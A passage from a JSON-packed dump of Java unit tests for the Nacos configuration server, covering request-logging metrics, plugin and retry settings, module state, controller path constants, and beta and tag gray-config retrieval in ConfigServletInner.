@Mock\n    private RequestMeta meta;\n    \n    private RequestLogAspect requestLogAspect;\n    \n    @BeforeEach\n    void setUp() {\n        requestLogAspect = new RequestLogAspect();\n    }\n    \n    @Test\n    void testInterfacePublishConfig() throws Throwable {\n        when(pjp.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(\"dataId\");\n        when(configForm.getGroup()).thenReturn(\"group\");\n        when(configForm.getNamespaceId()).thenReturn(\"namespaceId\");\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        \n        when(pjp.proceed()).thenReturn(\"Success\");\n        AtomicInteger publishMonitor = MetricsMonitor.getPublishMonitor();\n        int initialValue = publishMonitor.get();\n        \n        Object result = requestLogAspect.interfacePublishConfig(pjp);\n        \n        verify(pjp, times(1)).proceed();\n        assertEquals(\"Success\", result);\n        \n        assertEquals(initialValue + 1, publishMonitor.get());\n    }\n    \n    @Test\n    void testInterfaceGetConfig() throws Throwable {\n        when(pjp.getArgs()).thenReturn(new Object[]{chainRequest});\n        when(chainRequest.getDataId()).thenReturn(\"dataId\");\n        when(chainRequest.getGroup()).thenReturn(\"group\");\n        when(chainRequest.getTenant()).thenReturn(\"tenant\");\n        \n        when(pjp.proceed()).thenReturn(\"ConfigData\");\n        \n        AtomicInteger configMonitor = MetricsMonitor.getConfigMonitor();\n        int initialValue = configMonitor.get();\n        \n        Object result = requestLogAspect.interfaceGetConfig(pjp);\n\n        verify(pjp, times(1)).proceed();\n        assertEquals(\"ConfigData\", result);\n        assertEquals(initialValue + 1, configMonitor.get());\n    }\n    \n    @Test\n    void testInterfaceDeleteConfig() throws Throwable {\n        String dataId = \"dataId1\";\n        String group = \"group1\";\n        String namespaceId = \"namespaceId1\";\n        String tag = \"tag1\";\n        String clientIp = \"127.0.0.1\";\n        when(pjp.getArgs()).thenReturn(new Object[]{dataId, group, namespaceId, tag, clientIp});\n        \n        when(pjp.proceed()).thenReturn(\"Success\");\n        AtomicInteger configMonitor = MetricsMonitor.getConfigMonitor();\n        int initialValue = configMonitor.get();\n        \n        Object result = requestLogAspect.interfaceRemoveConfig(pjp);\n        \n        verify(pjp, times(1)).proceed();\n        assertEquals(\"Success\", result);\n        assertEquals(initialValue + 1, configMonitor.get());\n    }\n    \n    @Test\n    void testInterfaceListenConfigRpc() throws Throwable {\n        when(meta.getClientIp()).thenReturn(\"127.0.0.1\");\n        when(request.isListen()).thenReturn(true);\n        \n        when(pjp.proceed()).thenReturn(new ConfigChangeBatchListenResponse());\n        AtomicInteger configMonitor = MetricsMonitor.getConfigMonitor();\n        int initialValue = configMonitor.get();\n        \n        Response result = (Response) requestLogAspect.interfaceListenConfigRpc(pjp, request, meta);\n\n        assertEquals(result.getResultCode(), 200);\n        assertEquals(initialValue + 1, configMonitor.get());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/configuration/ConfigChangeConfigsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.common.event.ServerConfigChangeEvent;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.mock.env.MockEnvironment;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Nacos config change configs test.\n *\n * @author liyunfei\n **/\nclass ConfigChangeConfigsTest {\n    \n    private ConfigChangeConfigs configChangeConfigs;\n    \n    private MockEnvironment environment;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        environment = new MockEnvironment();\n        environment.setProperty(\"nacos.core.config.plugin.mockPlugin.enabled\", \"true\");\n        EnvUtil.setEnvironment(environment);\n        configChangeConfigs = new ConfigChangeConfigs();\n    }\n    \n    @Test\n    void testEnable() {\n        assertTrue(Boolean.parseBoolean(configChangeConfigs.getPluginProperties(\"mockPlugin\").getProperty(\"enabled\")));\n    }\n    \n    @Test\n    void testUpgradeEnable() {\n        environment.setProperty(\"nacos.core.config.plugin.mockPlugin.enabled\", \"false\");\n        configChangeConfigs.onEvent(ServerConfigChangeEvent.newEvent());\n        assertFalse(Boolean.parseBoolean(configChangeConfigs.getPluginProperties(\"mockPlugin\").getProperty(\"enabled\")));\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/configuration/ConfigCommonConfigTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.configuration;\n\nimport com.alibaba.nacos.common.event.ServerConfigChangeEvent;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.mock.env.MockEnvironment;\n\nimport java.lang.reflect.Constructor;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Nacos config common configs test.\n *\n * @author blake.qiu\n */\nclass ConfigCommonConfigTest {\n    \n    private ConfigCommonConfig commonConfig;\n    \n    private MockEnvironment environment;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        environment = new MockEnvironment();\n        EnvUtil.setEnvironment(environment);\n        Constructor<ConfigCommonConfig> declaredConstructor = ConfigCommonConfig.class.getDeclaredConstructor();\n        declaredConstructor.setAccessible(true);\n        commonConfig = declaredConstructor.newInstance();\n    }\n    \n    @Test\n    void getMaxPushRetryTimes() {\n        Integer property = EnvUtil.getProperty(\"nacos.config.push.maxRetryTime\", Integer.class, 50);\n        assertEquals(property.intValue(), commonConfig.getMaxPushRetryTimes());\n    }\n    \n    @Test\n    void setMaxPushRetryTimes() {\n        int maxPushRetryTimesOld = commonConfig.getMaxPushRetryTimes();\n        commonConfig.setMaxPushRetryTimes(100);\n        assertEquals(100, commonConfig.getMaxPushRetryTimes());\n        commonConfig.setMaxPushRetryTimes(maxPushRetryTimesOld);\n    }\n    \n    @Test\n    void testSetDerbyOpsEnabled() {\n        assertFalse(commonConfig.isDerbyOpsEnabled());\n        commonConfig.setDerbyOpsEnabled(true);\n        assertTrue(commonConfig.isDerbyOpsEnabled());\n    }\n    \n    @Test\n    void testUpgradeFromEvent() {\n        environment.setProperty(\"nacos.config.push.maxRetryTime\", \"100\");\n        environment.setProperty(\"nacos.config.derby.ops.enabled\", \"true\");\n        commonConfig.onEvent(ServerConfigChangeEvent.newEvent());\n        assertEquals(100, commonConfig.getMaxPushRetryTimes());\n        assertTrue(commonConfig.isDerbyOpsEnabled());\n    }\n    \n    @Test\n    void testInitConfigFormEnv() throws ReflectiveOperationException {\n        MockEnvironment environment = new MockEnvironment();\n        EnvUtil.setEnvironment(environment);\n        environment.setProperty(\"nacos.config.push.maxRetryTime\", \"6\");\n        Constructor<ConfigCommonConfig> declaredConstructor = ConfigCommonConfig.class.getDeclaredConstructor();\n        declaredConstructor.setAccessible(true);\n        ConfigCommonConfig configCommonConfig = declaredConstructor.newInstance();\n        assertEquals(6, configCommonConfig.getMaxPushRetryTimes());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/constant/ConfigModuleStateBuilderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.persistence.constants.PersistenceConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.module.ModuleState;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.core.env.ConfigurableEnvironment;\nimport org.springframework.mock.env.MockEnvironment;\n\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * config module state builder test.\n *\n * @author 985492783@qq.com\n * @date 2023/4/7 23:34\n */\nclass ConfigModuleStateBuilderTest {\n    \n    private ConfigurableEnvironment environment;\n    \n    @BeforeEach\n    void setUp() {\n        environment = new MockEnvironment().withProperty(PersistenceConstant.DATASOURCE_PLATFORM_PROPERTY, PersistenceConstant.DERBY)\n                .withProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, \"true\");\n        EnvUtil.setEnvironment(environment);\n    }\n    \n    @Test\n    void testBuild() {\n        ModuleState actual = new ConfigModuleStateBuilder().build();\n        Map<String, Object> states = actual.getStates();\n        assertEquals(PersistenceConstant.DERBY, states.get(Constants.DATASOURCE_PLATFORM_PROPERTY_STATE));\n        assertTrue((Boolean) states.get(Constants.NACOS_PLUGIN_DATASOURCE_LOG_STATE));\n        assertEquals(PropertyUtil.getNotifyConnectTimeout(), states.get(PropertiesConstant.NOTIFY_CONNECT_TIMEOUT));\n        assertEquals(PropertyUtil.getNotifySocketTimeout(), states.get(PropertiesConstant.NOTIFY_SOCKET_TIMEOUT));\n        assertEquals(PropertyUtil.isHealthCheck(), states.get(PropertiesConstant.IS_HEALTH_CHECK));\n        assertEquals(PropertyUtil.getMaxHealthCheckFailCount(), states.get(PropertiesConstant.MAX_HEALTH_CHECK_FAIL_COUNT));\n        assertEquals(PropertyUtil.getMaxContent(), states.get(PropertiesConstant.MAX_CONTENT));\n        assertEquals(PropertyUtil.isManageCapacity(), states.get(PropertiesConstant.IS_MANAGE_CAPACITY));\n        assertEquals(PropertyUtil.isCapacityLimitCheck(), states.get(PropertiesConstant.IS_CAPACITY_LIMIT_CHECK));\n        assertEquals(PropertyUtil.getDefaultClusterQuota(), states.get(PropertiesConstant.DEFAULT_CLUSTER_QUOTA));\n        assertEquals(PropertyUtil.getDefaultGroupQuota(), states.get(PropertiesConstant.DEFAULT_GROUP_QUOTA));\n        assertEquals(PropertyUtil.getDefaultMaxSize(), states.get(PropertiesConstant.DEFAULT_MAX_SIZE));\n        assertEquals(PropertyUtil.getDefaultMaxAggrCount(), states.get(PropertiesConstant.DEFAULT_MAX_AGGR_COUNT));\n        assertEquals(PropertyUtil.getDefaultMaxAggrSize(), states.get(PropertiesConstant.DEFAULT_MAX_AGGR_SIZE));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/constant/ConstantsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\nimport org.junit.jupiter.api.Test;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.CAPACITY_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.COMMUNICATION_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.CONFIG_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.HEALTH_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.HISTORY_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.LISTENER_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.METRICS_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.NAMESPACE_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.OPS_CONTROLLER_PATH;\nimport static com.alibaba.nacos.config.server.constant.Constants.RECV_WAIT_TIMEOUT;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConstantsTest {\n    \n    @Test\n    void testControllerPathsDefaultValues() {\n        \n        assertEquals(\"/v1/cs/ops\", OPS_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/capacity\", CAPACITY_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/communication\", COMMUNICATION_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/configs\", CONFIG_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/health\", HEALTH_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/history\", HISTORY_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/listener\", LISTENER_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/namespaces\", NAMESPACE_CONTROLLER_PATH);\n        assertEquals(\"/v1/cs/metrics\", METRICS_CONTROLLER_PATH);\n    }\n    \n    @Test\n    void testRecvWaitTimeoutDefaultValue() {\n        \n        assertEquals(10000, RECV_WAIT_TIMEOUT);\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/constant/CounterModeTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mock;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass CounterModeTest {\n    \n    @Mock\n    CounterMode counterMode;\n    \n    @Test\n    void testReverse() {\n        counterMode = CounterMode.INCREMENT;\n        assertEquals(CounterMode.DECREMENT, counterMode.reverse());\n        counterMode = CounterMode.DECREMENT;\n        assertEquals(CounterMode.INCREMENT, counterMode.reverse());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/ConfigServletInnerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller;\n\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.enums.ApiVersionEnum;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.LongPollingService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigRocksDbDiskService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.MD5Util;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockHttpServletRequest;\nimport org.springframework.mock.web.MockHttpServletResponse;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static com.alibaba.nacos.config.server.constant.Constants.CONTENT_MD5;\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\nimport static com.alibaba.nacos.config.server.utils.RequestUtil.CLIENT_APPNAME_HEADER;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@WebAppConfiguration\nclass ConfigServletInnerTest {\n    \n    static MockedStatic<ConfigDiskServiceFactory> configDiskServiceFactoryMockedStatic;\n    \n    @InjectMocks\n    ConfigServletInner configServletInner;\n    \n    MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    MockedStatic<MD5Util> md5UtilMockedStatic;\n    \n    @Mock\n    private LongPollingService longPollingService;\n    \n    @Mock\n    private ConfigRocksDbDiskService configRocksDbDiskService;\n    \n    @BeforeEach\n    void setUp() {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        ReflectionTestUtils.setField(configServletInner, \"longPollingService\", longPollingService);\n        ReflectionTestUtils.setField(configServletInner, \"configQueryChainService\", new ConfigQueryChainService());\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        propertyUtilMockedStatic.when(PropertyUtil::getMaxContent).thenReturn(1024 * 1000);\n        md5UtilMockedStatic = Mockito.mockStatic(MD5Util.class);\n        configDiskServiceFactoryMockedStatic = Mockito.mockStatic(ConfigDiskServiceFactory.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n    }\n    \n    @AfterEach\n    void after() {\n        \n        if (configCacheServiceMockedStatic != null) {\n            configCacheServiceMockedStatic.close();\n        }\n        if (propertyUtilMockedStatic != null) {\n            propertyUtilMockedStatic.close();\n        }\n        if (md5UtilMockedStatic != null) {\n            md5UtilMockedStatic.close();\n        }\n        if (configDiskServiceFactoryMockedStatic != null) {\n            configDiskServiceFactoryMockedStatic.close();\n            \n        }\n        \n    }\n    \n    @Test\n    void testDoPollingConfig() throws Exception {\n        \n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        HashMap<String, ConfigListenState> changedGroups = new HashMap<>();\n        changedGroups.put(\"1\", new ConfigListenState(\"testMd51\"));\n        changedGroups.put(\"2\", new ConfigListenState(\"testMd52\"));\n        \n        md5UtilMockedStatic.when(() -> MD5Util.compareMd5(request, response, clientMd5Map)).thenReturn(changedGroups);\n        md5UtilMockedStatic.when(() -> MD5Util.compareMd5OldResult(changedGroups)).thenReturn(\"test-old\");\n        md5UtilMockedStatic.when(() -> MD5Util.compareMd5ResultString(changedGroups)).thenReturn(\"test-new\");\n        \n        String actualValue = configServletInner.doPollingConfig(request, response, clientMd5Map, 1);\n        \n        assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(\"test-old\", response.getHeader(Constants.PROBE_MODIFY_RESPONSE));\n        assertEquals(\"test-new\", response.getHeader(Constants.PROBE_MODIFY_RESPONSE_NEW));\n        assertEquals(\"no-cache,no-store\", response.getHeader(\"Cache-Control\"));\n        \n    }\n    \n    @Test\n    void testDoGetConfigV1Beta() throws Exception {\n        \n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.tryConfigReadLock(anyString())).thenReturn(1);\n        \n        //mock cache item  isBeta\n        CacheItem cacheItem = new CacheItem(\"test\");\n        String dataId = \"testDataId135\";\n        String group = \"group23\";\n        String tenant = \"tenant234\";\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataId, group, tenant)))\n                .thenReturn(cacheItem);\n        String mockBetaContent = \"content3456543\";\n        mockGray4Beta(cacheItem, mockBetaContent, \"localhost\", \"betaKey1234567\");\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.setParameter(\"dataId\", dataId);\n        request.setParameter(\"group\", group);\n        request.setParameter(\"tenant\", tenant);\n        request.setRemoteAddr(\"localhost\");\n        request.addHeader(CLIENT_APPNAME_HEADER, \"test\");\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        \n        when(configRocksDbDiskService.getGrayContent(dataId, group, tenant, BetaGrayRule.TYPE_BETA)).thenReturn(\n                mockBetaContent);\n        String actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, \"\", \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(\"true\", response.getHeader(\"isBeta\"));\n        assertEquals(MD5Utils.md5Hex(mockBetaContent, ENCODE_UTF8), response.getHeader(CONTENT_MD5));\n        assertEquals(\"betaKey1234567\", response.getHeader(\"Encrypted-Data-Key\"));\n        assertEquals(mockBetaContent, response.getContentAsString());\n    }\n    \n    private void mockGray4Beta(CacheItem cacheItem, String content, String betaIps, String dataKey) {\n        cacheItem.initConfigGrayIfEmpty(BetaGrayRule.TYPE_BETA);\n        ConfigCacheGray configCacheGray = cacheItem.getConfigCacheGray().get(BetaGrayRule.TYPE_BETA);\n        configCacheGray.setMd5(MD5Utils.md5Hex(content, ENCODE_UTF8));\n        configCacheGray.setEncryptedDataKey(dataKey);\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(BetaGrayRule.TYPE_BETA,\n                BetaGrayRule.VERSION, betaIps, -1000);\n        configCacheGray.resetGrayRule(GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo));\n        cacheItem.sortConfigGray();\n    }\n    \n    private void mockGray4Tag(CacheItem cacheItem, String content, String tagValue, String dataKey, long ts) {\n        cacheItem.initConfigGrayIfEmpty(TagGrayRule.TYPE_TAG + \"_\" + tagValue);\n        ConfigCacheGray configCacheGray = cacheItem.getConfigCacheGray().get(TagGrayRule.TYPE_TAG + \"_\" + tagValue);\n        configCacheGray.setMd5(MD5Utils.md5Hex(content, ENCODE_UTF8));\n        configCacheGray.setLastModifiedTs(ts);\n        configCacheGray.setEncryptedDataKey(dataKey);\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(TagGrayRule.TYPE_TAG,\n                TagGrayRule.VERSION, tagValue, -999);\n        configCacheGray.resetGrayRule(GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo));\n        cacheItem.sortConfigGray();\n    }\n    \n    /**\n     * test get config of tag.\n     *\n     * @throws Exception exception.\n     */\n    @Test\n    void testDoGetConfigV1Tag() throws Exception {\n        \n        String dataId = \"dataId123455\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.tryConfigReadLock(GroupKey2.getKey(dataId, group, tenant))).thenReturn(1);\n        \n        //mock cache item with tag.\n        CacheItem cacheItem = new CacheItem(\"test\");\n        String autoTag = \"auto-tag-test\";\n        long autoTagTs = System.currentTimeMillis();\n        String autoTagContent = \"1234566autotag\";\n        mockGray4Tag(cacheItem, autoTagContent, autoTag, \"autoTagkey\", autoTagTs);\n        \n        String specificTag = \"specificTag\";\n        String specificTagContent = \"1234566autotag\";\n        long specificTs = System.currentTimeMillis();\n        mockGray4Tag(cacheItem, specificTagContent, specificTag, \"specificTagkey\", specificTs);\n        \n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.getContentCache(GroupKey2.getKey(dataId, group, tenant)))\n                .thenReturn(cacheItem);\n        \n        //test auto tag.\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.setParameter(\"dataId\", dataId);\n        request.setParameter(\"group\", group);\n        request.setParameter(\"tenant\", tenant);\n        request.setRemoteAddr(\"localhost\");\n        request.addHeader(CLIENT_APPNAME_HEADER, \"test\");\n        request.addHeader(VIPSERVER_TAG, autoTag);\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        \n        Mockito.when(\n                        configRocksDbDiskService.getGrayContent(dataId, group, tenant, TagGrayRule.TYPE_TAG + \"_\" + autoTag))\n                .thenReturn(autoTagContent);\n        String actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, null, \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(autoTagContent, response.getContentAsString());\n        assertEquals(MD5Utils.md5Hex(autoTagContent, \"UTF-8\"), response.getHeader(CONTENT_MD5));\n        assertEquals(\"autoTagkey\", response.getHeader(\"Encrypted-Data-Key\"));\n        \n        //test for specific tag. has higher propority than auto tag.\n        response = new MockHttpServletResponse();\n        request.setParameter(\"tag\", specificTag);\n        when(configRocksDbDiskService.getGrayContent(dataId, group, tenant,\n                TagGrayRule.TYPE_TAG + \"_\" + specificTag)).thenReturn(specificTagContent);\n        actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, specificTag, \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_OK + \"\", actualValue);\n        assertEquals(specificTagContent, response.getContentAsString());\n        assertEquals(MD5Utils.md5Hex(specificTagContent, \"UTF-8\"), response.getHeader(CONTENT_MD5));\n        assertEquals(\"specificTagkey\", response.getHeader(\"Encrypted-Data-Key\"));\n        \n        // test for specific tag ,not exist\n        request.setParameter(\"tag\", \"auto-tag-test-not-exist\");\n        when(configRocksDbDiskService.getGrayContent(dataId, group, tenant,\n                TagGrayRule.TYPE_TAG + \"_\" + \"auto-tag-test-not-exist\")).thenReturn(null);\n        response = new MockHttpServletResponse();\n        actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant,\n                \"auto-tag-test-not-exist\", \"true\", \"localhost\", ApiVersionEnum.V1);\n        assertEquals(HttpServletResponse.SC_NOT_FOUND + \"\", actualValue);\n        String expectedContent = \"config data not exist\";\n        String actualContent = response.getContentAsString();\n        \n        assertTrue(actualContent.contains(expectedContent));\n        \n    }\n    \n    @Test\n    void testDoGetConfigFormal() throws Exception {\n        String dataId = \"dataId1234552333\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.tryConfigReadLock(GroupKey2.getKey(dataId, group, tenant))).thenReturn(1);\n        \n        //mock cache item .\n        CacheItem cacheItem = new CacheItem(\"test\");\n        String md5 = \"md5wertyui\";\n        final String content = \"content345678\";\n        cacheItem.getConfigCache().setMd5(md5);\n        long ts = System.currentTimeMillis();\n        cacheItem.getConfigCache().setLastModifiedTs(ts);\n        cacheItem.getConfigCache().setEncryptedDataKey(\"key2345678\");\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.getContentCache(GroupKey.getKeyTenant(dataId, group, tenant)))\n                .thenReturn(cacheItem);\n        MockHttpServletRequest request = new MockHttpServletRequest();\n        request.setParameter(\"dataId\", dataId);\n        request.setParameter(\"group\", group);\n        request.setParameter(\"tenant\", tenant);\n        MockHttpServletResponse response = new MockHttpServletResponse();\n        \n        when(configRocksDbDiskService.getContent(dataId, group, tenant)).thenReturn(content);\n        String actualValue = configServletInner.doGetConfig(request, response, dataId, group, tenant, null, \"true\",\n                \"localhost\", ApiVersionEnum.V1);\n        assertEquals(content, response.getContentAsString());\n        